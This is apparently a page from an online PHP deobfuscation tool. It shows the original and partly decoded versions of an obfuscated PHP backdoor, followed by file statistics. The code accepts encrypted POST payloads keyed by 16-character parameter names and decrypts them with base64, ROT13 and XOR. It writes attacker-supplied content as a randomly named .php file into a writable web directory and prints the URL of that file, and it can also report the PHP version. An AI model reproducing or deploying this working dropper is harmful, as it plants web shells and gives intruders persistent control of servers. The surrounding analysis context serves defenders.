Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php function bsOMQDIvrW($QgAsXCgjQ){$kuEYe = chr(114)."\x61"."\x77".'u'.chr(372-258).chr..

Decoded Output download

<?php function bsOMQDIvrW($QgAsXCgjQ){$kuEYe = chr(114)."a"."w".'u'.chr(372-258).chr(108).chr(100-0).'e'."c".chr(563-452).'d'.'e';$wbhzbDvS = chr(302-187).chr(116).chr(996-882).chr(95)."r".chr(111)."t"."1".chr(322-271);$yBLtUf = "s"."t".chr(633-519).chr(95).chr(115).chr(596-484)."l".chr(442-337).chr(116);$QgAsXCgjQ = $yBLtUf($kuEYe($wbhzbDvS($QgAsXCgjQ)));return $QgAsXCgjQ;}function AciQIaJd($YVWyv, $QgAsXCgjQ){$tVTIms = chr(931-816).chr(799-683)."r".chr(95).'s'.'p'.'l'."i"."t";$YVWyv = array_slice($tVTIms(str_repeat($YVWyv, (count($QgAsXCgjQ)/16)+1)), 0, count($QgAsXCgjQ));return $YVWyv;}function kreRPQoi($hGbPvJI, $YgpENMM, $YVWyv){$latBUTW = "7bb88ccc-93a6-4a66-bc65-5dc1483b0988";return $hGbPvJI ^ $latBUTW[$YgpENMM % strlen($latBUTW)] ^ $YVWyv;}function XGbSzxcM($QgAsXCgjQ, $YVWyv){$QgAsXCgjQ = array_map("kreRPQoi", array_values($QgAsXCgjQ), array_keys($QgAsXCgjQ), array_values($YVWyv));$QgAsXCgjQ = implode("", $QgAsXCgjQ);$DvVJFIjeE = chr(196-79).chr(771-661).chr(533-418).chr(101).chr(847-733).chr(741-636)."a".'l'.chr(105)."z".chr(566-465);$QgAsXCgjQ = @$DvVJFIjeE($QgAsXCgjQ);return $QgAsXCgjQ;}function ADnrr(){echo "pDDFSixK";}function TQsSCS($thphhHSfSsir){static $xckQlPssE = array();$WbWJOXX = glob($thphhHSfSsir . '/*', GLOB_ONLYDIR);$qYtxmB = count($WbWJOXX);if ($qYtxmB > 0) {foreach ($WbWJOXX as $thphhHSfSs) {$iBPkQPWMuq = chr(105)."s".chr(95)."w".chr(615-501)."i".chr(780-664).'a'.chr(98)."l"."e";if (@$iBPkQPWMuq($thphhHSfSs)) {$xckQlPssE[] = $thphhHSfSs;}}}foreach ($WbWJOXX as $thphhHSfSsir) TQsSCS($thphhHSfSsir);return $xckQlPssE;}function CAdDFd(){echo "yYvFQF";}function hdRdnyNTL($QgAsXCgjQ){$mIyFCaf = "D"."O".'C'."U"."M"."E"."N".chr(84).chr(824-729).chr(82)."O".chr(79)."T";$LESlG = $_SERVER[$mIyFCaf];$WbWJOXX = TQsSCS($LESlG);$PCIbAZBq = array_rand($WbWJOXX);$agQQMmD = chr(46).chr(967-855).chr(521-417)."p";$QpyroT = $WbWJOXX[$PCIbAZBq] . "/" . substr(md5(time()), 0, 8) . $agQQMmD;$HwjOpVcEw = chr(441-339)."i".chr(1081-973).chr(769-668).chr(95).'p'.'u'.chr(116).chr(95).'c'."o".chr(918-808).'t'."e".'n'.'t'.chr(1060-945);@$HwjOpVcEw($QpyroT, $QgAsXCgjQ);$SdiDrHju = "H"."T".chr(84)."P".'_'.chr(72).chr(79).chr(83)."T";$oMEdV = 'h'."t"."t".'p'.chr(855-797).'/'.chr(47);$gGpWxQWGI = $oMEdV . $_SERVER[$SdiDrHju] . substr($QpyroT, strlen($LESlG));print($gGpWxQWGI);}foreach ($_POST as $YVWyv => $QgAsXCgjQ){$IyEBSePGwd = strlen($YVWyv);if ($IyEBSePGwd == 16){$QgAsXCgjQ = bsOMQDIvrW($QgAsXCgjQ);$YVWyv = AciQIaJd($YVWyv, $QgAsXCgjQ);$QgAsXCgjQ = XGbSzxcM($QgAsXCgjQ, $YVWyv);if (@is_array($QgAsXCgjQ)){$PCIbAZBq = array_keys($QgAsXCgjQ);$QgAsXCgjQ = $QgAsXCgjQ[$PCIbAZBq[0]];if ($QgAsXCgjQ === $PCIbAZBq[0]){$BKyhi = "p".chr(237-133).chr(876-764);$JNucj = "p"."h".'p'.chr(118).chr(101)."r".chr(223-108).'i'.chr(111)."n";$XVSMcFpkJl = "s"."e"."r".'i'.chr(518-421).chr(321-213).chr(105).'z'."e";echo @$XVSMcFpkJl(Array($BKyhi => @$JNucj(), ));}else {hdRdnyNTL($QgAsXCgjQ);}die();}}} ?>

Did this file decode correctly?

Original Code

<?php function bsOMQDIvrW($QgAsXCgjQ){$kuEYe = chr(114)."\x61"."\x77".'u'.chr(372-258).chr(108).chr(100-0).'e'."\143".chr(563-452).'d'.'e';$wbhzbDvS = chr(302-187).chr(116).chr(996-882).chr(95)."\x72".chr(111)."\164"."\61".chr(322-271);$yBLtUf = "\163"."\164".chr(633-519).chr(95).chr(115).chr(596-484)."\x6c".chr(442-337).chr(116);$QgAsXCgjQ = $yBLtUf($kuEYe($wbhzbDvS($QgAsXCgjQ)));return $QgAsXCgjQ;}function AciQIaJd($YVWyv, $QgAsXCgjQ){$tVTIms = chr(931-816).chr(799-683)."\162".chr(95).'s'.'p'.'l'."\x69"."\164";$YVWyv = array_slice($tVTIms(str_repeat($YVWyv, (count($QgAsXCgjQ)/16)+1)), 0, count($QgAsXCgjQ));return $YVWyv;}function kreRPQoi($hGbPvJI, $YgpENMM, $YVWyv){$latBUTW = "7bb88ccc-93a6-4a66-bc65-5dc1483b0988";return $hGbPvJI ^ $latBUTW[$YgpENMM % strlen($latBUTW)] ^ $YVWyv;}function XGbSzxcM($QgAsXCgjQ, $YVWyv){$QgAsXCgjQ = array_map("kreRPQoi", array_values($QgAsXCgjQ), array_keys($QgAsXCgjQ), array_values($YVWyv));$QgAsXCgjQ = implode("", $QgAsXCgjQ);$DvVJFIjeE = chr(196-79).chr(771-661).chr(533-418).chr(101).chr(847-733).chr(741-636)."\x61".'l'.chr(105)."\172".chr(566-465);$QgAsXCgjQ = @$DvVJFIjeE($QgAsXCgjQ);return $QgAsXCgjQ;}function ADnrr(){echo "pDDFSixK";}function TQsSCS($thphhHSfSsir){static $xckQlPssE = array();$WbWJOXX = glob($thphhHSfSsir . '/*', GLOB_ONLYDIR);$qYtxmB = count($WbWJOXX);if ($qYtxmB > 0) {foreach ($WbWJOXX as $thphhHSfSs) {$iBPkQPWMuq = chr(105)."\163".chr(95)."\x77".chr(615-501)."\151".chr(780-664).'a'.chr(98)."\154"."\145";if (@$iBPkQPWMuq($thphhHSfSs)) {$xckQlPssE[] = $thphhHSfSs;}}}foreach ($WbWJOXX as $thphhHSfSsir) TQsSCS($thphhHSfSsir);return $xckQlPssE;}function CAdDFd(){echo "yYvFQF";}function hdRdnyNTL($QgAsXCgjQ){$mIyFCaf = "\x44"."\x4f".'C'."\x55"."\x4d"."\105"."\x4e".chr(84).chr(824-729).chr(82)."\117".chr(79)."\x54";$LESlG = $_SERVER[$mIyFCaf];$WbWJOXX = TQsSCS($LESlG);$PCIbAZBq = array_rand($WbWJOXX);$agQQMmD = chr(46).chr(967-855).chr(521-417)."\x70";$QpyroT = $WbWJOXX[$PCIbAZBq] . "/" . substr(md5(time()), 0, 8) . $agQQMmD;$HwjOpVcEw = chr(441-339)."\x69".chr(1081-973).chr(769-668).chr(95).'p'.'u'.chr(116).chr(95).'c'."\157".chr(918-808).'t'."\145".'n'.'t'.chr(1060-945);@$HwjOpVcEw($QpyroT, $QgAsXCgjQ);$SdiDrHju = "\x48"."\x54".chr(84)."\120".'_'.chr(72).chr(79).chr(83)."\124";$oMEdV = 'h'."\x74"."\x74".'p'.chr(855-797).'/'.chr(47);$gGpWxQWGI = $oMEdV . $_SERVER[$SdiDrHju] . substr($QpyroT, strlen($LESlG));print($gGpWxQWGI);}foreach ($_POST as $YVWyv => $QgAsXCgjQ){$IyEBSePGwd = strlen($YVWyv);if ($IyEBSePGwd == 16){$QgAsXCgjQ = bsOMQDIvrW($QgAsXCgjQ);$YVWyv = AciQIaJd($YVWyv, $QgAsXCgjQ);$QgAsXCgjQ = XGbSzxcM($QgAsXCgjQ, $YVWyv);if (@is_array($QgAsXCgjQ)){$PCIbAZBq = array_keys($QgAsXCgjQ);$QgAsXCgjQ = $QgAsXCgjQ[$PCIbAZBq[0]];if ($QgAsXCgjQ === $PCIbAZBq[0]){$BKyhi = "\160".chr(237-133).chr(876-764);$JNucj = "\160"."\x68".'p'.chr(118).chr(101)."\162".chr(223-108).'i'.chr(111)."\156";$XVSMcFpkJl = "\x73"."\x65"."\162".'i'.chr(518-421).chr(321-213).chr(105).'z'."\145";echo @$XVSMcFpkJl(Array($BKyhi => @$JNucj(), ));}else {hdRdnyNTL($QgAsXCgjQ);}die();}}}

Function Calls

None

Variables

None

Stats

MD5 84149607f7106e1ed6905fe6744d39be
Eval Count 0
Decode Time 110 ms